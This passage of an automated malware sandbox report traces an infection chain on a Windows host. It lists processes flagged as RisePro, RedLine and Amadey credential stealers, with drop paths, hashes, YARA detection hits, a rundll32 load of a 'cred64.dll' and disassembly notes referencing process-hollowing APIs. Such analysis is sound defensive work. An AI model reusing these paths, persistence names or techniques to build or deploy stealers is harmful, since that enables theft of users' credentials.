Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5540 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	03:29:22
Start date:	19/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5660 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	03:29:23
Start date:	19/04/2024
Path:	C:\ProgramData\MPGPH131\MPGPH131.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MPGPH131\MPGPH131.exe
Imagebase:	0x890000
File size:	2'295'808 bytes
MD5 hash:	52257E8159B53FFB0F4E7CAE516DC107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001C.00000003.2928548272.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001C.00000002.3251490227.0000000007C50000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001C.00000002.3244160511.0000000000891000.00000040.00000001.01000000.00000015.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 51%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	03:29:23
Start date:	19/04/2024
Path:	C:\ProgramData\MPGPH131\MPGPH131.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MPGPH131\MPGPH131.exe
Imagebase:	0x890000
File size:	2'295'808 bytes
MD5 hash:	52257E8159B53FFB0F4E7CAE516DC107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001D.00000002.3261208378.0000000007DEF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001D.00000003.3072924932.0000000007DEF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001D.00000002.3252023529.0000000000891000.00000040.00000001.01000000.00000015.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001D.00000003.3071931619.0000000007DEA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001D.00000002.3260532533.0000000007940000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001D.00000003.3072820312.0000000007DEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001D.00000003.3072419404.0000000007DEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001D.00000003.2928357410.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:29:24
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"
Imagebase:
File size:	2'962'432 bytes
MD5 hash:	F854143C49C4D2FA4CF73BAB97BA8D3A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	03:29:27
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe"
Imagebase:	0xca0000
File size:	1'166'336 bytes
MD5 hash:	FB666C3917F960FD67DF0C2C8829D77F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:29:28
Start date:	19/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	03:29:29
Start date:	19/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1636,i,5624198576768077496,445941079671464976,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:29:29
Start date:	19/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3632 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	03:29:35
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe"
Imagebase:	0xaa0000
File size:	2'295'808 bytes
MD5 hash:	52257E8159B53FFB0F4E7CAE516DC107
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000024.00000003.3049065543.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000024.00000002.3145142996.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	03:29:36
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 2132
Imagebase:	0x120000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	03:29:36
Start date:	19/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3872 --field-trial-handle=1920,i,17797173087143306694,7612419587186816950,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	03:29:42
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4012 -s 2052
Imagebase:	0x120000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	03:29:42
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3436 -s 1948
Imagebase:	0x120000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	03:29:44
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Imagebase:	0x370000
File size:	2'295'808 bytes
MD5 hash:	52257E8159B53FFB0F4E7CAE516DC107
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000002D.00000003.3127053365.0000000005330000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000002D.00000002.3204405230.0000000000371000.00000040.00000001.01000000.00000017.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 51%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	03:29:52
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe"
Imagebase:	0xca0000
File size:	1'166'336 bytes
MD5 hash:	FB666C3917F960FD67DF0C2C8829D77F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	03:29:53
Start date:	19/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	03:29:53
Start date:	19/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1984,i,457568203381776828,11237095852378400144,262144 /prefetch:8
Imagebase:	0x7ff6d64d0000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	03:30:00
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
Imagebase:	0x70000
File size:	1'905'152 bytes
MD5 hash:	339020815B65530333BF2DDC928AC867
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000032.00000003.3292101674.0000000004840000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	03:30:00
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe"
Imagebase:	0xaa0000
File size:	2'295'808 bytes
MD5 hash:	52257E8159B53FFB0F4E7CAE516DC107
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000033.00000002.3372562116.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000033.00000003.3293720784.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	03:30:05
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000187001\build12.exe"
Imagebase:	0x3c0000
File size:	97'792 bytes
MD5 hash:	4CFD179519524269052023E10DE6B866
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000034.00000000.3328661632.00000000003C2000.00000002.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000034.00000000.3328661632.00000000003C2000.00000002.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000034.00000000.3328661632.00000000003C2000.00000002.00000001.01000000.00000018.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 77%, Virustotal, Browse
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	03:30:05
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	03:30:06
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
Imagebase:	0xb90000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	03:30:06
Start date:	19/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff6e2750000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	03:30:06
Start date:	19/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
Wow64 process (32bit):	true
Commandline:
Imagebase:	0xfd0000
File size:	97'792 bytes
MD5 hash:	4CFD179519524269052023E10DE6B866
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 77%, Virustotal, Browse
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	03:30:06
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	58
Start time:	03:30:07
Start date:	19/04/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.1%
Total number of Nodes:	568
Total number of Limit Nodes:	22

Executed Functions

Function 00B85DC8 Relevance: 18.8, APIs: 3, Strings: 7, Instructions: 1325
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,?,00000000,00000001,?), ref: 00B85F0D
RegQueryValueExA.KERNELBASE(?,?,00000000,00000000,?,00000400), ref: 00B85F3B
RegCloseKey.KERNELBASE(?), ref: 00B85F47

Strings

VUUU, xrefs: 00B86AC1
ntdll.dll, xrefs: 00B86D0D
NtUnmapViewOfSection, xrefs: 00B86D08
invalid stoi argument, xrefs: 00B86C10
, xrefs: 00B86CF0
(, xrefs: 00B86DB6
stoi argument out of range, xrefs: 00B86C01

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140846130.0000000000E78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140874259.0000000000E7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140902356.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140930718.0000000000E8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140958082.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: $($NtUnmapViewOfSection$VUUU$invalid stoi argument$ntdll.dll$stoi argument out of range
API String ID: 3677997916-2979661614
Opcode ID: e35067c3a75c68bb9732c276f72248155c9a72c0a609229799607dae41c579b7
Instruction ID: 0eff55c8cbb69b7d84c6592a09e04f6bd1b2a5e95e101b7a19b5c465f082e652
Opcode Fuzzy Hash: e35067c3a75c68bb9732c276f72248155c9a72c0a609229799607dae41c579b7
Instruction Fuzzy Hash: 1DA23571A002089BEF18EF68CC85BEDB7F5EF45304F1045ADF915A7292DB75AA80CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00BB7BBB Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00BB7BBA,?,?,?,?,?,00BB8C0E), ref: 00BB7BF7

Memory Dump Source

Source File: 00000000.00000002.2139306429.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2139275672.0000000000B80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139306429.0000000000BE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139397496.0000000000BE9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139439197.0000000000BEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139472825.0000000000BF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139502103.0000000000BF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139530751.0000000000BF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139641535.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139672073.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139705017.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139739567.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139776155.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139948652.0000000000D78000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2139999844.0000000000D79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140027266.0000000000D82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140054395.0000000000D89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140085216.0000000000D9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140113187.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140140001.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140204910.0000000000DCF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140231009.0000000000DD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140258468.0000000000DD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140285813.0000000000DD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140315634.0000000000DD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140343263.0000000000DDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140424909.0000000000DE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140455657.0000000000DE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140486195.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140525090.0000000000DEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140564438.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140592050.0000000000DFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140619769.0000000000DFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140646325.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140679440.0000000000E0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140707413.0000000000E43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140781304.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2140814517.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
